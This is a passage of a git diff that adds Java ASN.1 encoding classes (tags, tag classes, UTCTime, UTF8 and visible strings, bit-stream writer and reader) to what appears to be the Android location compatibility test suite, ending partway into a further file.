+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import java.util.Collections;
+import java.util.Comparator;
+
+/**
+ * Implements ASN.1 functionality. An asn1 set is a collection where order is
+ * not significant, but it does not guarantee absence of duplicates.
+ *
+ */
+public abstract class Asn1SetOf<T extends Asn1Object>
+ extends Asn1SequenceOf<T> {
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.SET;
+ }
+
+ private Iterable<BitStream> encodePerImpl(final boolean aligned) {
+ // Encode according to canonical PER, always works.
+ Collections.sort(sequence,
+ new Comparator<T>() {
+ @Override
+ public int compare(T lhsT, T rhsT) {
+ PacketBuilder keyMaker = new PacketBuilder();
+ if (aligned) {
+ keyMaker.appendAll(lhsT.encodePerAligned());
+ } else {
+ keyMaker.appendAll(lhsT.encodePerUnaligned());
+ }
+ byte[] lhs = keyMaker.getPaddedBytes();
+ keyMaker = new PacketBuilder();
+ if (aligned) {
+ keyMaker.appendAll(rhsT.encodePerAligned());
+ } else {
+ keyMaker.appendAll(rhsT.encodePerUnaligned());
+ }
+ byte[] rhs = keyMaker.getPaddedBytes();
+ for (int i = 0; i < lhs.length && i < rhs.length;
+ ++i) {
+ if ((lhs[i] & 0xFF) < (rhs[i] & 0xFF)) {
+ return -1;
+ }
+ if ((lhs[i] & 0xFF) > (rhs[i] & 0xFF)) {
+ return 1;
+ }
+ }
+ if (lhs.length < rhs.length) {
+ return -1;
+ }
+ if (lhs.length > rhs.length) {
+ return 1;
+ }
+ return 0;
+ }
+ }
+ );
+
+ if (aligned) {
+ return super.encodePerAligned();
+ } else {
+ return super.encodePerUnaligned();
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java
new file mode 100644
index 0000000..9bdd0bd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.annotations.VisibleForTesting;
+
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+
+import javax.annotation.Nullable;
+
+/**
+ * Represents the tag of (class and number) of an ASN.1 type.
+ */
+public class Asn1Tag {
+ public static final Asn1Tag BOOLEAN = new Asn1Tag(Asn1TagClass.UNIVERSAL, 1);
+ public static final Asn1Tag INTEGER = new Asn1Tag(Asn1TagClass.UNIVERSAL, 2);
+ public static final Asn1Tag BIT_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 3);
+ public static final Asn1Tag OCTET_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 4);
+ public static final Asn1Tag NULL = new Asn1Tag(Asn1TagClass.UNIVERSAL, 5);
+ public static final Asn1Tag OBJECT_IDENTIFIER = new Asn1Tag(Asn1TagClass.UNIVERSAL, 6);
+ public static final Asn1Tag OBJECT_DESCRIPTOR = new Asn1Tag(Asn1TagClass.UNIVERSAL, 7);
+ public static final Asn1Tag REAL = new Asn1Tag(Asn1TagClass.UNIVERSAL, 9);
+ public static final Asn1Tag ENUMERATED = new Asn1Tag(Asn1TagClass.UNIVERSAL, 10);
+ public static final Asn1Tag UTF8STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 12);
+ public static final Asn1Tag SEQUENCE = new Asn1Tag(Asn1TagClass.UNIVERSAL, 16);
+ public static final Asn1Tag SET = new Asn1Tag(Asn1TagClass.UNIVERSAL, 17);
+ public static final Asn1Tag NUMERIC_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 18);
+ public static final Asn1Tag PRINTABLE_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 19);
+ public static final Asn1Tag TELETEX_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 20);
+ public static final Asn1Tag VIDEOTEX_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 21);
+ public static final Asn1Tag IA5_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 22);
+ public static final Asn1Tag UTC_TIME = new Asn1Tag(Asn1TagClass.UNIVERSAL, 23);
+ public static final Asn1Tag GENERALIZED_TIME = new Asn1Tag(Asn1TagClass.UNIVERSAL, 24);
+ public static final Asn1Tag GRAPHIC_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 25);
+ public static final Asn1Tag VISIBLE_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 26);
+ public static final Asn1Tag GENERAL_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 27);
+ public static final Asn1Tag UNIVERSAL_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 28);
+ public static final Asn1Tag BMP_STRING = new Asn1Tag(Asn1TagClass.UNIVERSAL, 30);
+ public static final int CONSTRUCTED_BIT = 0x20;
+ public static final BigInteger MAX_INTEGER_VALUE = BigInteger.valueOf(Integer.MAX_VALUE);
+
+ private final Asn1TagClass tagClass;
+ private final int tagNumber;
+
+ public Asn1Tag(Asn1TagClass tagClass, int tagNumber) {
+ this.tagClass = tagClass;
+ this.tagNumber = tagNumber;
+ }
+
+ public int getTaggedLength(int valueLength) {
+ if (tagNumber > 30) {
+ throw new IllegalArgumentException("Tags with value > 30 not supported");
+ }
+ return 1 + getLengthLength(valueLength) + valueLength;
+ }
+
+ /**
+ * Returns the number of octets needed for the length field for a value
+ * of the specified size. The returned number will be the smallest possible
+ * number of octets needed for the length field.
+ *
+ * @param valueLength number of octets used to BER encode the value
+ */
+ static int getLengthLength(int valueLength) {
+ if (valueLength < 0) {
+ throw new IllegalArgumentException("valueLength=" + valueLength);
+ }
+ if (valueLength < (1 << 7)) {
+ // short form
+ return 1;
+ } else if (valueLength < (1 << 8)) {
+ return 2;
+ } else if (valueLength < (1 << 16)) {
+ return 3;
+ } else if (valueLength < (1 << 24)) {
+ return 4;
+ } else {
+ return 5;
+ }
+ }
+
+ public void writeTagAndLength(ByteBuffer buf, boolean constructed, int valueLength) {
+ this.writeTag(buf, constructed);
+ writeLength(buf, valueLength);
+ }
+
+ private void writeTag(ByteBuffer buf, boolean constructed) {
+ if (tagNumber > 30) {
+ throw new IllegalArgumentException("Tags with value > 30 not supported");
+ }
+ if (constructed) {
+ buf.put((byte) (getValue() | CONSTRUCTED_BIT));
+ } else {
+ buf.put((byte) getValue());
+ }
+ }
+
+ static Asn1Tag readTag(ByteBuffer buf) {
+ return Asn1Tag.fromValue(buf.get() & 0xFF);
+ }
+
+ /**
+ * Returns the tag at the head of the buffer without advancing the position.
+ */
+ static Asn1Tag peekTag(ByteBuffer buf) {
+ return Asn1Tag.fromValue(buf.get(buf.position()) & 0xFF);
+ }
+
+ /**
+ * Returns the value of the tag octet - including class and tag ID but excluding
+ * the 'C' (composed) bit.
+ */
+ int getValue() {
+ return (tagClass.getValue() << 6) + tagNumber;
+ }
+
+ static void writeLength(ByteBuffer buf, int valueLength) {
+ if (valueLength < 0) {
+ throw new IllegalArgumentException("valueLength=" + valueLength);
+ }
+ if (valueLength < (1 << 7)) {
+ buf.put((byte) valueLength);
+ } else {
+ // Long form: the low 7 bits of the first octet encodes the number of following
+ // octets that holds the actual length. The top bit is 1 to indicate long form.
+ byte[] lengthBytes = BigInteger.valueOf(valueLength).toByteArray();
+ if (lengthBytes[0] == (byte) 0x00) {
+ // the length bytes are unsigned so throw away the leading zero octet.
+ // For example, 128 becomes { 0x00, 0x80 } and we drop the first 0x00.
+ int len = lengthBytes.length - 1;
+ byte[] newLengthBytes = new byte[len];
+ System.arraycopy(lengthBytes, 1, newLengthBytes, 0, len);
+ lengthBytes = newLengthBytes;
+ }
+ buf.put((byte) (lengthBytes.length | (1 << 7)));
+ buf.put(lengthBytes);
+ }
+ }
+
+ public static int readLength(ByteBuffer buf) {
+ int n = buf.get() & 0xFF;
+ if (n < (1 << 7)) {
+ // short form of the length field - single octet with high order bit 0
+ return n;
+ } else {
+ // long form - first octet contains number of subsequent octets used to encode the length
+ n = n & 0x7F;
+ if (n > 5) {
+ throw new IllegalArgumentException("Length length too big: " + n + " octets");
+ }
+ byte[] val = new byte[n];
+ for (int i = 0; i < n; i++) {
+ val[i] = buf.get();
+ }
+ val = prependZeroByteIfHighBitSet(val);
+ BigInteger bi = new BigInteger(val);
+ if (bi.compareTo(MAX_INTEGER_VALUE) > 0) {
+ throw new IllegalArgumentException("Lengths bigger than 2^^31-1 unsupported: " + bi);
+ }
+ return bi.intValue();
+ }
+ }
+
+ private static byte[] prependZeroByteIfHighBitSet(byte[] ba) {
+ if ((ba[0] & 0x80) != 0) {
+ byte[] newba = new byte[ba.length + 1];
+ System.arraycopy(ba, 0, newba, 1, ba.length);
+ newba[0] = 0;
+ ba = newba;
+ }
+ return ba;
+ }
+
+ /**
+ * Returns the tag with the specified value (including tag and length, excluding "constructed"
+ * bit).
+ */
+ private static Asn1Tag fromValue(int value) {
+ Asn1Tag result = new Asn1Tag(Asn1TagClass.fromValue(value >> 6), value & 0x1F);
+ if (result.tagNumber > 30) {
+ throw new IllegalArgumentException("Tags with value > 30 not supported (" + result.tagNumber
+ + ")");
+ }
+ return result;
+ }
+
+ /**
+ * Returns the tag corresponding to the given class and number.
+ *
+ * <p>By convention, null is returned for impossible tag class < 0. Used in code generation.
+ */
+ @Nullable public static Asn1Tag fromClassAndNumber(int tagClass, int tagNumber) {
+ if (tagClass < 0) {
+ return null;
+ }
+ return new Asn1Tag(Asn1TagClass.fromValue(tagClass), tagNumber);
+ }
+
+ @Override
+ public boolean equals(Object o) {
+ if (!(o instanceof Asn1Tag)) {
+ return false;
+ }
+ Asn1Tag tag = (Asn1Tag) o;
+ return tagClass == tag.tagClass && tagNumber == tag.tagNumber;
+ }
+
+ @Override
+ public int hashCode() {
+ int result = 17;
+ result = 31 * result + tagClass.hashCode();
+ result = 31 * result + tagNumber;
+ return result;
+ }
+
+ @Override
+ public String toString() {
+ return "Asn1Tag[" + tagClass + ", " + tagNumber + "]";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java
new file mode 100644
index 0000000..28204a0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+/**
+ * Tag class of an ASN.1 type.
+ */
+public enum Asn1TagClass {
+ UNIVERSAL(0),
+ APPLICATION(1),
+ CONTEXT(2),
+ PRIVATE(3);
+
+ private final int value;
+
+ private Asn1TagClass(int value) {
+ this.value = value;
+ }
+
+ public static Asn1TagClass fromValue(int tagClass) {
+ switch (tagClass) {
+ case 0: return UNIVERSAL;
+ case 1: return APPLICATION;
+ case 2: return CONTEXT;
+ case 3: return PRIVATE;
+ default:
+ throw new IllegalArgumentException("Invalid tag class: " + tagClass);
+ }
+ }
+
+ public int getValue() {
+ return value;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java
new file mode 100644
index 0000000..8b7e5aa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.text.DecimalFormat;
+import java.util.Collection;
+
+/**
+ * A UTCTime is a string representation for a UTC timestamp
+ *
+ * <p>Implements ASN.1 functionality.
+ *
+ */
+public class Asn1UTCTime extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.UTC_TIME);
+
+ private int year;
+ private int month;
+ private int day;
+ private int hour;
+ private int minute;
+ private int second;
+ private DecimalFormat twoDigit = new DecimalFormat("00");
+ private DecimalFormat fourDigit = new DecimalFormat("0000");
+
+ public Asn1UTCTime() {
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ public void assignTo(Asn1UTCTime other) {
+ year = other.year;
+ month = other.month;
+ day = other.day;
+ hour = other.hour;
+ minute = other.minute;
+ second = other.second;
+ }
+
+ public int getYear() {
+ return year;
+ }
+
+ public void setYear(int newYear) {
+ year = newYear;
+ }
+
+ public int getMonth() {
+ return month;
+ }
+
+ public void setMonth(int newMonth) {
+ month = newMonth;
+ }
+
+ public int getDay() {
+ return day;
+ }
+
+ public void setDay(int newDay) {
+ day = newDay;
+ }
+
+ public int getHour() {
+ return hour;
+ }
+
+ public void setHour(int newHour) {
+ hour = newHour;
+ }
+
+ public int getMinute() {
+ return minute;
+ }
+
+ public void setMinute(int newMinute) {
+ minute = newMinute;
+ }
+
+ public int getSecond() {
+ return second;
+ }
+
+ public void setSecond(int newSecond) {
+ second = newSecond;
+ }
+
+ private Asn1IA5String encodeToIA5String() {
+ StringBuilder builder = new StringBuilder();
+ builder.append(twoDigit.format(year % 100));
+ builder.append(twoDigit.format(month));
+ builder.append(twoDigit.format(day));
+ builder.append(twoDigit.format(hour % 100));
+ builder.append(twoDigit.format(minute));
+ builder.append(twoDigit.format(second));
+ builder.append("Z");
+ Asn1IA5String result = new Asn1IA5String();
+ result.setMaxSize(255);
+ result.setValue(builder.toString());
+ return result;
+ }
+
+ public String toHumanReadableString() {
+ StringBuilder builder = new StringBuilder();
+ builder.append(fourDigit.format(year));
+ builder.append('-');
+ builder.append(twoDigit.format(month));
+ builder.append('-');
+ builder.append(twoDigit.format(day));
+ builder.append(' ');
+ builder.append(twoDigit.format(hour));
+ builder.append(':');
+ builder.append(twoDigit.format(minute));
+ builder.append(':');
+ builder.append(twoDigit.format(second));
+ return builder.toString();
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.UTC_TIME;
+ }
+
+ @Override int getBerValueLength() {
+ return encodeToIA5String().getBerValueLength();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ encodeToIA5String().encodeBerValue(buf);
+ }
+
+ @Override public void decodeBerValue(ByteBuffer buf) {
+ Asn1IA5String result = new Asn1IA5String();
+ result.setMaxSize(255);
+ result.decodeBerValue(buf);
+ retrieveResult(result);
+ }
+
+ @Override
+ public Iterable<BitStream> encodePerAligned() {
+ Asn1IA5String result = encodeToIA5String();
+ return result.encodePerAligned();
+ }
+
+ @Override
+ public Iterable<BitStream> encodePerUnaligned() {
+ Asn1IA5String result = encodeToIA5String();
+ return result.encodePerUnaligned();
+ }
+
+ // The format definition of UTCTime:
+ //
+ // http://www.obj-sys.com/asn1tutorial/node15.html
+ // http://www.obj-sys.com/asn1tutorial/node14.html
+ //
+ // We currently only support "[YY]YYMMDDHHMM[SS[Z]]"
+ private void retrieveResult(Asn1IA5String str) {
+ String result = str.getValue();
+ int yearLength = 0;
+ // If the result has trailing 'Z', remove it.
+ if (result.charAt(result.length() - 1) == 'Z') {
+ result = result.substring(0, result.length() - 1);
+ }
+ boolean hasSecond = true;
+ switch (result.length()) {
+ case 10:
+ hasSecond = false;
+ // Fall-through
+ case 12:
+ yearLength = 2;
+ break;
+ case 14:
+ yearLength = 4;
+ break;
+ default:
+ throw new IllegalArgumentException("malformed UTCTime format: " + result);
+ }
+ year = Integer.parseInt(result.substring(0, yearLength));
+ // Two-digit year's range is from 1954 to 2053.
+ if (yearLength == 2) {
+ if (year > 53) {
+ year += 1900;
+ } else {
+ year += 2000;
+ }
+ }
+ month = Integer.parseInt(result.substring(yearLength, yearLength + 2));
+ day = Integer.parseInt(result.substring(yearLength + 2, yearLength + 4));
+ hour = Integer.parseInt(result.substring(yearLength + 4, yearLength + 6));
+ minute = Integer.parseInt(result.substring(yearLength + 6, yearLength + 8));
+ if (hasSecond) {
+ second = Integer.parseInt(result.substring(yearLength + 8, yearLength + 10));
+ } else {
+ second = 0;
+ }
+ }
+
+ @Override
+ public void decodePerAligned(BitStreamReader reader) {
+ Asn1IA5String result = new Asn1IA5String();
+ result.setMaxSize(255);
+ result.decodePerAligned(reader);
+ retrieveResult(result);
+ }
+
+ @Override
+ public void decodePerUnaligned(BitStreamReader reader) {
+ Asn1IA5String result = new Asn1IA5String();
+ result.setMaxSize(255);
+ result.decodePerUnaligned(reader);
+ retrieveResult(result);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java
new file mode 100644
index 0000000..513c02c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
+
+/**
+ * Base class for representing ASN.1 objects of type UTF8String.
+ */
+public class Asn1Utf8String extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.UTF8STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private String value;
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+
+ private byte[] getValueBytes() {
+ return value.getBytes(StandardCharsets.UTF_8);
+ }
+
+ private void setValueBytes(byte[] bytes) {
+ value = new String(bytes, StandardCharsets.UTF_8);
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.UTF8STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Preconditions.checkNotNull(value, "No value set.");
+ return getValueBytes().length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Preconditions.checkNotNull(value, "No value set.");
+ buf.put(getValueBytes());
+ }
+
+ @Override public void decodeBerValue(ByteBuffer buf) {
+ setValueBytes(getRemaining(buf));
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+ byte[] bytes = getValueBytes();
+ if (aligned) {
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
+ } else {
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(bytes);
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (aligned) {
+ setValueBytes(PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ } else {
+ setValueBytes(PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java
new file mode 100644
index 0000000..14492fe
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.util.Collection;
+
+/**
+ * A visible string is a subset of US-ASCII, with character set defined in ITU-T Rec. X.680-0207,
+ * 39.7. The characters is the subset of visible US-ASCII characters plus space.
+ *
+ */
+public class Asn1VisibleString extends Asn1IA5String {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.VISIBLE_STRING);
+
+ static final String PRINTABLE_ALPHABET =
+ " !\"#$%&'()*+,-./0123456789:;<=>?@"
+ + "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`"
+ + "abcdefghijklmnopqrstuvwxyz{|}~";
+
+ public Asn1VisibleString() {
+ super();
+ setAlphabet(PRINTABLE_ALPHABET);
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.VISIBLE_STRING;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStream.java b/tests/tests/location/src/android/location/cts/asn1/base/BitStream.java
new file mode 100644
index 0000000..02eb4f1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/BitStream.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+
+import java.util.Arrays;
+
+/**
+ * Outputs a stream of bits.
+ *
+ * <p>This class is not thread-safe.
+ *
+ */
+public final class BitStream {
+
+ /**
+ * The number of bytes that is initially allocated and by which the buffer
+ * gets expanded when necessary.
+ */
+ static final int BUFFER_CHUNK = 50;
+ private static final int BITS_IN_BYTE = 8;
+
+ private byte[] buffer = new byte[BUFFER_CHUNK];
+ /**
+ * The position in the buffer of the unfinished byte in progress.
+ */
+ private int position = 0;
+ /**
+ * The number of high bits accumulated in the unfinished byte.
+ */
+ private int setBits = 0;
+
+ public byte[] getPaddedBytes() {
+ return Arrays.copyOf(buffer, position + (setBits == 0 ? 0 : 1));
+ }
+
+ public void appendByte(byte data) {
+ buffer[position] = (byte) (buffer[position] | (data & 0xFF) >> setBits);
+ incrementPosition();
+ buffer[position] = (byte) (buffer[position] | (data << (BITS_IN_BYTE - setBits)) & 0xFF);
+ }
+
+ private void incrementPosition() {
+ position++;
+ if (position >= buffer.length) {
+ buffer = Arrays.copyOf(buffer, buffer.length + BUFFER_CHUNK);
+ }
+ }
+
+ public void appendBit(boolean one) {
+ if (one) {
+ buffer[position] = (byte) (buffer[position] | 1 << (BITS_IN_BYTE - 1 - setBits));
+ }
+ setBits++;
+ if (setBits == BITS_IN_BYTE) {
+ incrementPosition();
+ setBits = 0;
+ }
+ }
+
+ public int getBitCount() {
+ return BITS_IN_BYTE * position + setBits;
+ }
+
+ /**
+ * Appends the lowest {@code howManyBits} from the {@code data} in order from
+ * most significant to least significant.
+ */
+ public void appendLowBits(int howManyBits, byte data) {
+ Preconditions.checkArgument(howManyBits < BITS_IN_BYTE);
+ int lowMask = (1 << howManyBits) - 1;
+ int highMask = ~lowMask;
+ int maskedData = data;
+ while (highMask < -1) {
+ maskedData &= ~highMask;
+ highMask >>= 1;
+ appendBit((maskedData & highMask) != 0);
+ }
+ }
+
+ private boolean beginByteAligned;
+
+ public boolean beginsByteAligned() {
+ return beginByteAligned;
+ }
+
+ public void setBeginByteAligned() {
+ beginByteAligned = true;
+ }
+
+ public void spoolToByteBoundary() {
+ if (setBits != 0) {
+ setBits = 0;
+ incrementPosition();
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java b/tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java
new file mode 100644
index 0000000..6ad3eff
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+/**
+ * Reads a stream of bits.
+ *
+ * <p>This class is not thread-safe.
+ *
+ */
+public class BitStreamReader {
+ private static final int BITS_IN_BYTE = 8;
+
+ private final byte[] buffer;
+ private int position = 0;
+ private int bitsRead = 0;
+
+ public BitStreamReader(byte[] bytes) {
+ buffer = bytes;
+ }
+
+ /**
+ * Returns true if the next bit in the stream is set.
+ * @throws IndexOutOfBoundsException if there is no more data.
+ */
+ public boolean readBit() {
+ bitsRead++;
+ if (bitsRead > BITS_IN_BYTE) {
+ position++;
+ bitsRead = 1;
+ }
+ return ((buffer[position] >> (BITS_IN_BYTE - bitsRead)) & 1) == 1;
+ }
+
+ /**
+ * Returns true if there is another readable bit in the stream.
+ */
+ public boolean hasBit() {
+ return position + 1 < buffer.length
+ || (bitsRead < BITS_IN_BYTE && position < buffer.length);
+ }
+
+ public void spoolToByteBoundary() {
+ if (bitsRead == 0) {
+ return;
+ }
+ bitsRead = 0;
+ position++;
+ }
+
+ /**
+ * Returns next byte's worth of data (8 bits) from the stream.
+ * @throws IndexOutOfBoundsException if there is no more data.
+ */
+ public byte readByte() {
+ int mask = (1 << (8 - bitsRead)) - 1;
+ byte result = (byte) ((buffer[position] & mask) << bitsRead);
+ position++;
+ if (bitsRead > 0) {
+ result = (byte) (result | (buffer[position] & 0xFF) >>> (8 - bitsRead));
+ }
+ return result;
+ }
+
+ /**
+ * Returns next {@code howMany} bits as the low bits in the returned byte.
+ * @throws IndexOutOfBoundsException if there is no more data.
+ */
+ public int readLowBits(int howMany) {
+ int result = 0;
+ for (int i = 0; i < howMany; i++) {
+ result <<= 1;
+ result |= (readBit() ? 1 : 0);
+ }
+ return result;
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java b/tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java
new file mode 100644
index 0000000..6b03ef9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
